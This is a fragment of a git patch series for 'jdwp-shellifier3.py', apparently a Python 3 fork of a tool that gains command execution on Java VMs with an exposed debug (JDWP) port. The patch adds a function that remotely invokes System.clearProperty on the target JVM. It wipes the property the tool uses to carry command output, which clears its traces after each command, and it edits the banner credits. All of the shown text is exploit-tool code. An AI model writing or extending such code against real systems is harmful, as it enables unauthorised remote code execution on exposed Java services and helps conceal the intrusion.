+754,9 @@ def str2fqclass(s): if not args.verbose and args.cmd_with_output: print(f"{Colors.BOLD}{Colors.OKCYAN}") print("╔═══════════════════════════════════════════════════════════╗") - print("║ JDWP Universal Shellifier v2.0 ║") - print("║ Original by @_hugsy_ with cheers to @lanjelot ║") - print("║ Python3 with cmd-output by @aarislarsen ║") + print("║ JDWP Universal Shellifier v2.0 ║") + print("║ Original by @_hugsy_ with cheers to @lanjelot ║") + print("║ Python3 with cmd-output by @aarislarsen ║") print("╚═══════════════════════════════════════════════════════════╝") print(f"{Colors.ENDC}") print(f"{Colors.OKCYAN}[>]{Colors.ENDC} Target: {Colors.BOLD}{args.target}:{args.port}{Colors.ENDC}") From 65337bdee28bc7d5d66f5ebfea113ce118111cb3 Mon Sep 17 00:00:00 2001 From: aarislarsen Date: Thu, 9 Oct 2025 13:55:08 +0200 Subject: [PATCH 6/6] Update jdwp-shellifier3.py automatically clears the output property after each call --- jdwp-shellifier3.py | 40 +++++++++++++++++++++++++++++++++++++--- 1 file changed, 37 insertions(+), 3 deletions(-) diff --git a/jdwp-shellifier3.py b/jdwp-shellifier3.py index 482084e..35f5f13 100644 --- a/jdwp-shellifier3.py +++ b/jdwp-shellifier3.py @@ -506,6 +506,9 @@ def runtime_exec_info(jdwp, threadId, verbose=True): print(f"{Colors.BOLD}{Colors.OKCYAN}{'═' * 60}{Colors.ENDC}") print(cmd_output) print(f"{Colors.BOLD}{Colors.OKCYAN}{'═' * 60}{Colors.ENDC}") + + # Clear the output property after displaying + clear_output_property(jdwp, threadId, verbose) else: if verbose: print("") @@ -724,6 +727,38 @@ def store_output_in_property(jdwp, threadId, output, verbose=True): print(f"{Colors.FAIL}[-]{Colors.ENDC} Exception in store_output_in_property: {e}") return False +def clear_output_property(jdwp, threadId, verbose=True): + """ + Clears the jdwp.cmd.output property using System.clearProperty() + """ + try: + systemClass = jdwp.get_class_by_name("Ljava/lang/System;") + if systemClass is None: + return False + jdwp.get_methods(systemClass["refTypeId"]) + clearPropertyMeth = None + for method in jdwp.methods[systemClass["refTypeId"]]: + if method["name"] == "clearProperty": + clearPropertyMeth = method + break + if clearPropertyMeth is None: + if verbose: + print(f"{Colors.WARNING}[!]{Colors.ENDC} Cannot find System.clearProperty(), property not cleared") + return False + propNameObjIds = jdwp.createstring("jdwp.cmd.output") + if len(propNameObjIds) == 0: + return False + propNameObjId = propNameObjIds[0]["objId"] + data = [bytes([TAG_OBJECT]) + jdwp.format(jdwp.objectIDSize, propNameObjId)] + jdwp.invokestatic(systemClass["refTypeId"], threadId, clearPropertyMeth["methodId"], *data) + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Cleared output property") + return True + except Exception as e: + if verbose: + print(f"{Colors.WARNING}[!]{Colors.ENDC} Could not clear property: {e}") + return False + def str2fqclass(s): i = s.rfind('.') if i == -1: @@ -754,9 +789,8 @@ def str2fqclass(s): if not args.verbose and args.cmd_with_output: print(f"{Colors.BOLD}{Colors.OKCYAN}") print("╔═══════════════════════════════════════════════════════════╗") - print("║ JDWP Universal Shellifier v2.0 ║") - print("║ Original by @_hugsy_ with cheers to @lanjelot ║") - print("║ Python3 with cmd-output by @aarislarsen ║") + print("║ JDWP Universal Shellifier v2.0 ║") + print("║ @_hugsy_ ║") print("╚═══════════════════════════════════════════════════════════╝") print(f"{Colors.ENDC}") print(f"{Colors.OKCYAN}[>]{Colors.ENDC} Target: {Colors.BOLD}{args.target}:{args.port}{Colors.ENDC}")